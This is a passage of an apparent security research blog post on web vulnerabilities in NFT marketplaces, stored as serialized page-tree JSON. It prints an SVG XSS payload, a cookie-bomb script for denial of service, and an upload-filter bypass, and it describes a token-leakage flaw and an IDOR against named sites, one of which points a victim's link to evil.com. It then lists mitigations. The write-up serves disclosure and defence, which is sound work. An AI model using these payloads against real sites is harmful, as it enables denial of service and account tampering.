\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":327,"props":40964,"children":40965},{"style":381},[40966],{"type":29,"value":9571},{"type":24,"tag":327,"props":40968,"children":40969},{"class":329,"line":408},[40970],{"type":24,"tag":327,"props":40971,"children":40972},{"emptyLinePlaceholder":16},[40973],{"type":29,"value":544},{"type":24,"tag":327,"props":40975,"children":40976},{"class":329,"line":421},[40977,40981,40986,40991,40995,41000],{"type":24,"tag":327,"props":40978,"children":40979},{"style":39086},[40980],{"type":29,"value":4927},{"type":24,"tag":327,"props":40982,"children":40983},{"style":334},[40984],{"type":29,"value":40985},"svg",{"type":24,"tag":327,"props":40987,"children":40988},{"style":356},[40989],{"type":29,"value":40990}," xmlns",{"type":24,"tag":327,"props":40992,"children":40993},{"style":381},[40994],{"type":29,"value":384},{"type":24,"tag":327,"props":40996,"children":40997},{"style":844},[40998],{"type":29,"value":40999},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":327,"props":41001,"children":41002},{"style":39086},[41003],{"type":29,"value":9571},{"type":24,"tag":327,"props":41005,"children":41006},{"class":329,"line":450},[41007,41011,41016,41020,41024,41028,41032],{"type":24,"tag":327,"props":41008,"children":41009},{"style":39086},[41010],{"type":29,"value":39105},{"type":24,"tag":327,"props":41012,"children":41013},{"style":334},[41014],{"type":29,"value":41015},"title",{"type":24,"tag":327,"props":41017,"children":41018},{"style":39086},[41019],{"type":29,"value":438},{"type":24,"tag":327,"props":41021,"children":41022},{"style":346},[41023],{"type":29,"value":37947},{"type":24,"tag":327,"props":41025,"children":41026},{"style":39086},[41027],{"type":29,"value":39140},{"type":24,"tag":327,"props":41029,"children":41030},{"style":334},[41031],{"type":29,"value":41015},{"type":24,"tag":327,"props":41033,"children":41034},{"style":39086},[41035],{"type":29,"value":9571},{"type":24,"tag":327,"props":41037,"children":41038},{"class":329,"line":481},[41039,41043,41047,41051,41055,41060],{"type":24,"tag":327,"props":41040,"children":41041},{"style":39086},[41042],{"type":29,"value":39105},{"type":24,"tag":327,"props":41044,"children":41045},{"style":334},[41046],{"type":29,"value":39126},{"type":24,"tag":327,"props":41048,"children":41049},{"style":356},[41050],{"type":29,"value":39251},{"type":24,"tag":327,"props":41052,"children":41053},{"style":381},[41054],{"type":29,"value":384},{"type":24,"tag":327,"props":41056,"children":41057},{"style":844},[41058],{"type":29,"value":41059},"\"text/javascript\"",{"type":24,"tag":327,"props":41061,"children":41062},{"style":39086},[41063],{"type":29,"value":9571},{"type":24,"tag":327,"props":41065,"children":41066},{"class":329,"line":500},[41067],{"type":24,"tag":327,"props":41068,"children":41069},{"style":346},[41070],{"type":29,"value":41071},"   alert(document.domain);\n",{"type":24,"tag":327,"props":41073,"children":41074},{"class":329,"line":529},[41075,41080,41084],{"type":24,"tag":327,"props":41076,"children":41077},{"style":39086},[41078],{"type":29,"value":41079},"   \u003C/",{"type":24,"tag":327,"props":41081,"children":41082},{"style":334},[41083],{"type":29,"value":39126},{"type":24,"tag":327,"props":41085,"children":41086},{"style":39086},[41087],{"type":29,"value":9571},{"type":24,"tag":327,"props":41089,"children":41090},{"class":329,"line":538},[41091,41096,41100],{"type":24,"tag":327,"props":41092,"children":41093},{"style":39086},[41094],{"type":29,"value":41095}," \u003C/",{"type":24,"tag":327,"props":41097,"children":41098},{"style":334},[41099],{"type":29,"value":40985},{"type":24,"tag":327,"props":41101,"children":41102},{"style":39086},[41103],{"type":29,"value":9571},{"type":24,"tag":25,"props":41105,"children":41106},{},[41107,41109,41116],{"type":29,"value":41108},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":57,"props":41110,"children":41113},{"href":41111,"rel":41112},"https://xtingles.com/",[61],[41114],{"type":29,"value":41115},"xtingles Marketplace",{"type":29,"value":66},{"type":24,"tag":25,"props":41118,"children":41119},{},[41120],{"type":29,"value":41121},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":41123,"children":41124},{},[41125],{"type":29,"value":41126},"Below, we show you how we did it.",{"type":24,"tag":25,"props":41128,"children":41129},{},[41130],{"type":29,"value":41131},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":41133,"children":41134},{},[41135],{"type":24,"tag":11511,"props":41136,"children":41138},{"alt":7,"src":41137},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":41140,"children":41141},{},[41142],{"type":29,"value":41143},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":41145,"children":41146},{},[41147],{"type":24,"tag":11511,"props":41148,"children":41150},{"alt":7,"src":41149},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":235,"props":41152,"children":41154},{"id":41153},"svgs-return",[41155],{"type":29,"value":41156},"SVGs Return",{"type":24,"tag":25,"props":41158,"children":41159},{},[41160],{"type":29,"value":41161},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":25,"props":41163,"children":41164},{},[41165],{"type":29,"value":41166},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":41168,"children":41169},{},[41170],{"type":29,"value":41171},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":317,"props":41173,"children":41177},{"className":41174,"code":41175,"language":41176,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[41178],{"type":24,"tag":284,"props":41179,"children":41180},{"__ignoreMap":7},[41181,41220,41251,41258,41285,41316,41343,41351,41359,41366,41378,41453,41461,41476],{"type":24,"tag":327,"props":41182,"children":41183},{"class":329,"line":330},[41184,41188,41192,41196,41200,41204,41208,41212,41216],{"type":24,"tag":327,"props":41185,"children":41186},{"style":381},[41187],{"type":29,"value":40891},{"type":24,"tag":327,"props":41189,"children":41190},{"style":356},[41191],{"type":29,"value":40896},{"type":24,"tag":327,"props":41193,"children":41194},{"style":356},[41195],{"type":29,"value":40901},{"type":24,"tag":327,"props":41197,"children":41198},{"style":381},[41199],{"type":29,"value":384},{"type":24,"tag":327,"props":41201,"children":41202},{"style":844},[41203],{"type":29,"value":40910},{"type":24,"tag":327,"props":41205,"children":41206},{"style":356},[41207],{"type":29,"value":40915},{"type":24,"tag":327,"props":41209,"children":41210},{"style":381},[41211],{"type":29,"value":384},{"type":24,"tag":327,"props":41213,"children":41214},{"style":844},[41215],{"type":29,"value":40924},{"type":24,"tag":327,"props":41217,"children":41218},{"style":381},[41219],{"type":29,"value":40929},{"type":24,"tag":327,"props":41221,"children":41222},{"class":329,"line":367},[41223,41227,41231,41235,41239,41243,41247],{"type":24,"tag":327,"props":41224,"children":41225},{"style":381},[41226],{"type":29,"value":40937},{"type":24,"tag":327,"props":41228,"children":41229},{"style":356},[41230],{"type":29,"value":40942},{"type":24,"tag":327,"props":41232,"children":41233},{"style":356},[41234],{"type":29,"value":40947},{"type":24,"tag":327,"props":41236,"children":41237},{"style":356},[41238],{"type":29,"value":40952},{"type":24,"tag":327,"props":41240,"children":41241},{"style":844},[41242],{"type":29,"value":40957},{"type":24,"tag":327,"props":41244,"children":41245},{"style":844},[41246],{"type":29,"value":40962},{"type":24,"tag":327,"props":41248,"children":41249},{"style":381},[41250],{"type":29,"value":9571},{"type":24,"tag":327,"props":41252,"children":41253},{"class":329,"line":408},[41254],{"type":24,"tag":327,"props":41255,"children":41256},{"emptyLinePlaceholder":16},[41257],{"type":29,"value":544},{"type":24,"tag":327,"props":41259,"children":41260},{"class":329,"line":421},[41261,41265,41269,41273,41277,41281],{"type":24,"tag":327,"props":41262,"children":41263},{"style":39086},[41264],{"type":29,"value":4927},{"type":24,"tag":327,"props":41266,"children":41267},{"style":334},[41268],{"type":29,"value":40985},{"type":24,"tag":327,"props":41270,"children":41271},{"style":356},[41272],{"type":29,"value":40990},{"type":24,"tag":327,"props":41274,"children":41275},{"style":381},[41276],{"type":29,"value":384},{"type":24,"tag":327,"props":41278,"children":41279},{"style":844},[41280],{"type":29,"value":40999},{"type":24,"tag":327,"props":41282,"children":41283},{"style":39086},[41284],{"type":29,"value":9571},{"type":24,"tag":327,"props":41286,"children":41287},{"class":329,"line":450},[41288,41292,41296,41300,41304,41308,41312],{"type":24,"tag":327,"props":41289,"children":41290},{"style":39086},[41291],{"type":29,"value":39105},{"type":24,"tag":327,"props":41293,"children":41294},{"style":334},[41295],{"type":29,"value":41015},{"type":24,"tag":327,"props":41297,"children":41298},{"style":39086},[41299],{"type":29,"value":438},{"type":24,"tag":327,"props":41301,"children":41302},{"style":346},[41303],{"type":29,"value":37947},{"type":24,"tag":327,"props":41305,"children":41306},{"style":39086},[41307],{"type":29,"value":39140},{"type":24,"tag":327,"props":41309,"children":41310},{"style":334},[41311],{"type":29,"value":41015},{"type":24,"tag":327,"props":41313,"children":41314},{"style":39086},[41315],{"type":29,"value":9571},{"type":24,"tag":327,"props":41317,"children":41318},{"class":329,"line":481},[41319,41323,41327,41331,41335,41339],{"type":24,"tag":327,"props":41320,"children":41321},{"style":39086},[41322],{"type":29,"value":39105},{"type":24,"tag":327,"props":41324,"children":41325},{"style":334},[41326],{"type":29,"value":39126},{"type":24,"tag":327,"props":41328,"children":41329},{"style":356},[41330],{"type":29,"value":39251},{"type":24,"tag":327,"props":41332,"children":41333},{"style":381},[41334],{"type":29,"value":384},{"type":24,"tag":327,"props":41336,"children":41337},{"style":844},[41338],{"type":29,"value":41059},{"type":24,"tag":327,"props":41340,"children":41341},{"style":39086},[41342],{"type":29,"value":9571},{"type":24,"tag":327,"props":41344,"children":41345},{"class":329,"line":500},[41346],{"type":24,"tag":327,"props":41347,"children":41348},{"style":346},[41349],{"type":29,"value":41350},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":24,"tag":327,"props":41352,"children":41353},{"class":329,"line":529},[41354],{"type":24,"tag":327,"props":41355,"children":41356},{"style":346},[41357],{"type":29,"value":41358},"   var Set_Cookie = Array(10000).join('a');\n",{"type":24,"tag":327,"props":41360,"children":41361},{"class":329,"line":538},[41362],{"type":24,"tag":327,"props":41363,"children":41364},{"emptyLinePlaceholder":16},[41365],{"type":29,"value":544},{"type":24,"tag":327,"props":41367,"children":41368},{"class":329,"line":547},[41369,41374],{"type":24,"tag":327,"props":41370,"children":41371},{"style":346},[41372],{"type":29,"value":41373},"   for (var i = 1; i \u003C 99; i++) ",{"type":24,"tag":327,"props":41375,"children":41376},{"style":334},[41377],{"type":29,"value":18427},{"type":24,"tag":327,"props":41379,"children":41380},{"class":329,"line":557},[41381,41386,41390,41395,41399,41404,41409,41413,41417,41422,41426,41431,41435,41440,41444,41449],{"type":24,"tag":327,"props":41382,"children":41383},{"style":356},[41384],{"type":29,"value":41385},"    document",{"type":24,"tag":327,"props":41387,"children":41388},{"style":381},[41389],{"type":29,"value":66},{"type":24,"tag":327,"props":41391,"children":41392},{"style":356},[41393],{"type":29,"value":41394},"cookie",{"type":24,"tag":327,"props":41396,"children":41397},{"style":381},[41398],{"type":29,"value":39622},{"type":24,"tag":327,"props":41400,"children":41401},{"style":844},[41402],{"type":29,"value":41403},"'Cookie'",{"type":24,"tag":327,"props":41405,"children":41406},{"style":381},[41407],{"type":29,"value":41408}," + ",{"type":24,"tag":327,"props":41410,"children":41411},{"style":356},[41412],{"type":29,"value":11334},{"type":24,"tag":327,"props":41414,"children":41415},{"style":381},[41416],{"type":29,"value":41408},{"type":24,"tag":327,"props":41418,"children":41419},{"style":844},[41420],{"type":29,"value":41421},"'='",{"type":24,"tag":327,"props":41423,"children":41424},{"style":381},[41425],{"type":29,"value":41408},{"type":24,"tag":327,"props":41427,"children":41428},{"style":356},[41429],{"type":29,"value":41430},"Set_Cookie",{"type":24,"tag":327,"props":41432,"children":41433},{"style":381},[41434],{"type":29,"value":41408},{"type":24,"tag":327,"props":41436,"children":41437},{"style":844},[41438],{"type":29,"value":41439},"';Domain='",{"type":24,"tag":327,"props":41441,"children":41442},{"style":381},[41443],{"type":29,"value":41408},{"type":24,"tag":327,"props":41445,"children":41446},{"style":356},[41447],{"type":29,"value":41448},"Take_Domain",{"type":24,"tag":327,"props":41450,"children":41451},{"style":381},[41452],{"type":29,"value":405},{"type":24,"tag":327,"props":41454,"children":41455},{"class":329,"line":586},[41456],{"type":24,"tag":327,"props":41457,"children":41458},{"style":334},[41459],{"type":29,"value":41460},"   }\n",{"type":24,"tag":327,"props":41462,"children":41463},{"class":329,"line":1017},[41464,41468,41472],{"type":24,"tag":327,"props":41465,"children":41466},{"style":39086},[41467],{"type":29,"value":41079},{"type":24,"tag":327,"props":41469,"children":41470},{"style":334},[41471],{"type":29,"value":39126},{"type":24,"tag":327,"props":41473,"children":41474},{"style":39086},[41475],{"type":29,"value":9571},{"type":24,"tag":327,"props":41477,"children":41478},{"class":329,"line":1026},[41479,41483,41487],{"type":24,"tag":327,"props":41480,"children":41481},{"style":39086},[41482],{"type":29,"value":41095},{"type":24,"tag":327,"props":41484,"children":41485},{"style":334},[41486],{"type":29,"value":40985},{"type":24,"tag":327,"props":41488,"children":41489},{"style":39086},[41490],{"type":29,"value":9571},{"type":24,"tag":25,"props":41492,"children":41493},{},[41494],{"type":29,"value":41495},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":228,"props":41497,"children":41499},{"id":41498},"authentication",[41500],{"type":29,"value":41501},"Authentication",{"type":24,"tag":25,"props":41503,"children":41504},{},[41505],{"type":24,"tag":42,"props":41506,"children":41507},{},[41508,41510,41517],{"type":29,"value":41509},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":57,"props":41511,"children":41514},{"href":41512,"rel":41513},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[61],[41515],{"type":29,"value":41516},"great misfortune has occured",{"type":29,"value":66},{"type":24,"tag":235,"props":41519,"children":41521},{"id":41520},"verification-token-leakage",[41522],{"type":29,"value":41523},"Verification Token Leakage",{"type":24,"tag":25,"props":41525,"children":41526},{},[41527],{"type":29,"value":41528},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":41530,"children":41531},{},[41532],{"type":29,"value":41533},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":41535,"children":41536},{},[41537,41542],{"type":24,"tag":42,"props":41538,"children":41539},{},[41540],{"type":29,"value":41541},"Proof of Concept",{"type":29,"value":41543},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":41545,"children":41546},{},[41547],{"type":29,"value":41548},"Here's the breakdown.",{"type":24,"tag":25,"props":41550,"children":41551},{},[41552],{"type":29,"value":41553},"First, we send the verification link to a user's email:",{"type":24,"tag":38056,"props":41555,"children":41556},{"style":38058},[41557],{"type":24,"tag":11511,"props":41558,"children":41562},{"src":41559,"alt":41560,"style":41561},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":41564,"children":41565},{},[41566],{"type":29,"value":41567},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":235,"props":41569,"children":41571},{"id":41570},"idor",[41572],{"type":29,"value":41573},"IDOR",{"type":24,"tag":25,"props":41575,"children":41576},{},[41577],{"type":24,"tag":42,"props":41578,"children":41579},{},[41580,41582,41589],{"type":29,"value":41581},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":57,"props":41583,"children":41586},{"href":41584,"rel":41585},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[61],[41587],{"type":29,"value":41588},"insect",{"type":29,"value":66},{"type":24,"tag":25,"props":41591,"children":41592},{},[41593,41595,41601],{"type":29,"value":41594},"During a security assessment of the ",{"type":24,"tag":57,"props":41596,"children":41599},{"href":41597,"rel":41598},"https://rocki.com",[61],[41600],{"type":29,"value":37994},{"type":29,"value":41602},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":41604,"children":41605},{},[41606],{"type":29,"value":41607},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":41609,"children":41610},{},[41611],{"type":29,"value":41612},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":41614,"children":41615},{},[41616,41618,41624,41626,41631],{"type":29,"value":41617},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":284,"props":41619,"children":41621},{"className":41620},[],[41622],{"type":29,"value":41623},"https://evil.com/",{"type":29,"value":41625},". To achieve this, we simply changed the ",{"type":24,"tag":284,"props":41627,"children":41629},{"className":41628},[],[41630],{"type":29,"value":11085},{"type":29,"value":41632}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":41634,"children":41635},{},[41636],{"type":24,"tag":11511,"props":41637,"children":41639},{"alt":7,"src":41638},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":41641,"children":41642},{},[41643],{"type":29,"value":41644},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":41646,"children":41647},{},[41648],{"type":24,"tag":11511,"props":41649,"children":41651},{"alt":7,"src":41650},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":228,"props":41653,"children":41655},{"id":41654},"preventative-action-steps-for-marketplaces",[41656],{"type":24,"tag":188,"props":41657,"children":41658},{},[41659],{"type":29,"value":41660},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":41662,"children":41663},{},[41664],{"type":29,"value":41665},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":41667,"children":41668},{},[41669,41671,41677,41679,41685],{"type":29,"value":41670},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":284,"props":41672,"children":41674},{"className":41673},[],[41675],{"type":29,"value":41676},"innerText",{"type":29,"value":41678}," instead of ",{"type":24,"tag":284,"props":41680,"children":41682},{"className":41681},[],[41683],{"type":29,"value":41684},"innerHTML",{"type":29,"value":41686}," in client-side:",{"type":24,"tag":317,"props":41688,"children":41690},{"className":38073,"code":41689,"language":38075,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[41691],{"type":24,"tag":284,"props":41692,"children":41693},{"__ignoreMap":7},[41694],{"type":24,"tag":327,"props":41695,"children":41696},{"class":329,"line":330},[41697,41701,41705,41710,41714,41719,41723,41727,41731,41736],{"type":24,"tag":327,"props":41698,"children":41699},{"style":356},[41700],{"type":29,"value":39418},{"type":24,"tag":327,"props":41702,"children":41703},{"style":346},[41704],{"type":29,"value":66},{"type":24,"tag":327,"props":41706,"children":41707},{"style":340},[41708],{"type":29,"value":41709},"getElementById",{"type":24,"tag":327,"props":41711,"children":41712},{"style":346},[41713],{"type":29,"value":349},{"type":24,"tag":327,"props":41715,"children":41716},{"style":844},[41717],{"type":29,"value":41718},"'nftCollectionName'",{"type":24,"tag":327,"props":41720,"children":41721},{"style":346},[41722],{"type":29,"value":2108},{"type":24,"tag":327,"props":41724,"children":41725},{"style":356},[41726],{"type":29,"value":41676},{"type":24,"tag":327,"props":41728,"children":41729},{"style":381},[41730],{"type":29,"value":4809},{"type":24,"tag":327,"props":41732,"children":41733},{"style":356},[41734],{"type":29,"value":41735}," nftCollectionName",{"type":24,"tag":327,"props":41737,"children":41738},{"style":346},[41739],{"type":29,"value":405},{"type":24,"tag":25,"props":41741,"children":41742},{},[41743],{"type":29,"value":41744},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":317,"props":41746,"children":41748},{"className":38073,"code":41747,"language":38075,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[41749],{"type":24,"tag":284,"props":41750,"children":41751},{"__ignoreMap":7},[41752],{"type":24,"tag":327,"props":41753,"children":41754},{"class":329,"line":330},[41755,41760,41765,41769,41774,41778,41783,41787,41792],{"type":24,"tag":327,"props":41756,"children":41757},{"style":334},[41758],{"type":29,"value":41759},"var",{"type":24,"tag":327,"props":41761,"children":41762},{"style":356},[41763],{"type":29,"value":41764}," sanitizedInput",{"type":24,"tag":327,"props":41766,"children":41767},{"style":381},[41768],{"type":29,"value":4809},{"type":24,"tag":327,"props":41770,"children":41771},{"style":356},[41772],{"type":29,"value":41773}," DOMPurify",{"type":24,"tag":327,"props":41775,"children":41776},{"style":346},[41777],{"type":29,"value":66},{"type":24,"tag":327,"props":41779,"children":41780},{"style":340},[41781],{"type":29,"value":41782},"sanitize",{"type":24,"tag":327,"props":41784,"children":41785},{"style":346},[41786],{"type":29,"value":349},{"type":24,"tag":327,"props":41788,"children":41789},{"style":356},[41790],{"type":29,"value":41791},"userInput",{"type":24,"tag":327,"props":41793,"children":41794},{"style":346},[41795],{"type":29,"value":583},{"type":24,"tag":25,"props":41797,"children":41798},{},[41799,41801,41808],{"type":29,"value":41800},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":57,"props":41802,"children":41805},{"href":41803,"rel":41804},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[61],[41806],{"type":29,"value":41807},"Content-Security-Policy",{"type":29,"value":41809}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":41811,"children":41812},{},[41813],{"type":29,"value":41814},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":41816,"children":41817},{},[41818,41820,41827],{"type":29,"value":41819},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":57,"props":41821,"children":41824},{"href":41822,"rel":41823},"https://www.techtarget.com/whatis/definition/whitelist",[61],[41825],{"type":29,"value":41826},"allow-list",{"type":29,"value":41828}," :",{"type":24,"tag":317,"props":41830,"children":41832},{"className":38073,"code":41831,"language":38075,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[41833],{"type":24,"tag":284,"props":41834,"children":41835},{"__ignoreMap":7},[41836,41865,41907,41937],{"type":24,"tag":327,"props":41837,"children":41838},{"class":329,"line":330},[41839,41843,41848,41852,41856,41861],{"type":24,"tag":327,"props":41840,"children":41841},{"style":334},[41842],{"type":29,"value":17202},{"type":24,"tag":327,"props":41844,"children":41845},{"style":356},[41846],{"type":29,"value":41847}," allowDomains",{"type":24,"tag":327,"props":41849,"children":41850},{"style":381},[41851],{"type":29,"value":4809},{"type":24,"tag":327,"props":41853,"children":41854},{"style":346},[41855],{"type":29,"value":4446},{"type":24,"tag":327,"props":41857,"children":41858},{"style":844},[41859],{"type":29,"value":41860},"'https://allowed-domain'",{"type":24,"tag":327,"props":41862,"children":41863},{"style":346},[41864],{"type":29,"value":38284},{"type":24,"tag":327,"props":41866,"children":41867},{"class":329,"line":367},[41868,41872,41876,41880,41885,41889,41894,41898,41902],{"type":24,"tag":327,"props":41869,"children":41870},{"style":425},[41871],{"type":29,"value":5999},{"type":24,"tag":327,"props":41873,"children":41874},{"style":346},[41875],{"type":29,"value":5894},{"type":24,"tag":327,"props":41877,"children":41878},{"style":381},[41879],{"type":29,"value":1986},{"type":24,"tag":327,"props":41881,"children":41882},{"style":356},[41883],{"type":29,"value":41884},"allowDomains",{"type":24,"tag":327,"props":41886,"children":41887},{"style":346},[41888],{"type":29,"value":66},{"type":24,"tag":327,"props":41890,"children":41891},{"style":340},[41892],{"type":29,"value":41893},"includes",{"type":24,"tag":327,"props":41895,"children":41896},{"style":346},[41897],{"type":29,"value":349},{"type":24,"tag":327,"props":41899,"children":41900},{"style":356},[41901],{"type":29,"value":39428},{"type":24,"tag":327,"props":41903,"children":41904},{"style":346},[41905],{"type":29,"value":41906},")) {\n",{"type":24,"tag":327,"props":41908,"children":41909},{"class":329,"line":408},[41910,41915,41919,41924,41928,41933],{"type":24,"tag":327,"props":41911,"children":41912},{"style":425},[41913],{"type":29,"value":41914},"  throw",{"type":24,"tag":327,"props":41916,"children":41917},{"style":334},[41918],{"type":29,"value":38643},{"type":24,"tag":327,"props":41920,"children":41921},{"style":340},[41922],{"type":29,"value":41923}," ApolloError",{"type":24,"tag":327,"props":41925,"children":41926},{"style":346},[41927],{"type":29,"value":349},{"type":24,"tag":327,"props":41929,"children":41930},{"style":844},[41931],{"type":29,"value":41932},"'invalid domain'",{"type":24,"tag":327,"props":41934,"children":41935},{"style":346},[41936],{"type":29,"value":583},{"type":24,"tag":327,"props":41938,"children":41939},{"class":329,"line":421},[41940],{"type":24,"tag":327,"props":41941,"children":41942},{"style":346},[41943],{"type":29,"value":592},{"type":24,"tag":25,"props":41945,"children":41946},{},[41947,41949,41956,41958,41965],{"type":29,"value":41948},"As ",{"type":24,"tag":57,"props":41950,"children":41953},{"href":41951,"rel":41952},"https://graphql.org/",[61],[41954],{"type":29,"value":41955},"GraphQl",{"type":29,"value":41957}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":57,"props":41959,"children":41962},{"href":41960,"rel":41961},"https://graphql.org/learn/introspection/",[61],[41963],{"type":29,"value":41964},"introspection",{"type":29,"value":41966}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":317,"props":41968,"children":41970},{"className":38073,"code":41969,"language":38075,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[41971],{"type":24,"tag":284,"props":41972,"children":41973},{"__ignoreMap":7},[41974,42003,42015,42027,42043],{"type":24,"tag":327,"props":41975,"children":41976},{"class":329,"line":330},[41977,41981,41986,41990,41994,41999],{"type":24,"tag":327,"props":41978,"children":41979},{"style":334},[41980],{"type":29,"value":17202},{"type":24,"tag":327,"props":41982,"children":41983},{"style":356},[41984],{"type":29,"value":41985}," server",{"type":24,"tag":327,"props":41987,"children":41988},{"style":381},[41989],{"type":29,"value":4809},{"type":24,"tag":327,"props":41991,"children":41992},{"style":334},[41993],{"type":29,"value":38643},{"type":24,"tag":327,"props":41995,"children":41996},{"style":340},[41997],{"type":29,"value":41998}," ApolloServer",{"type":24,"tag":327,"props":42000,"children":42001},{"style":346},[42002],{"type":29,"value":22664},{"type":24,"tag":327,"props":42004,"children":42005},{"class":329,"line":367},[42006,42011],{"type":24,"tag":327,"props":42007,"children":42008},{"style":356},[42009],{"type":29,"value":42010},"  typeDefs",{"type":24,"tag":327,"props":42012,"children":42013},{"style":346},[42014],{"type":29,"value":2231},{"type":24,"tag":327,"props":42016,"children":42017},{"class":329,"line":408},[42018,42023],{"type":24,"tag":327,"props":42019,"children":42020},{"style":356},[42021],{"type":29,"value":42022},"  resolvers",{"type":24,"tag":327,"props":42024,"children":42025},{"style":346},[42026],{"type":29,"value":2231},{"type":24,"tag":327,"props":42028,"children":42029},{"class":329,"line":421},[42030,42035,42039],{"type":24,"tag":327,"props":42031,"children":42032},{"style":356},[42033],{"type":29,"value":42034},"  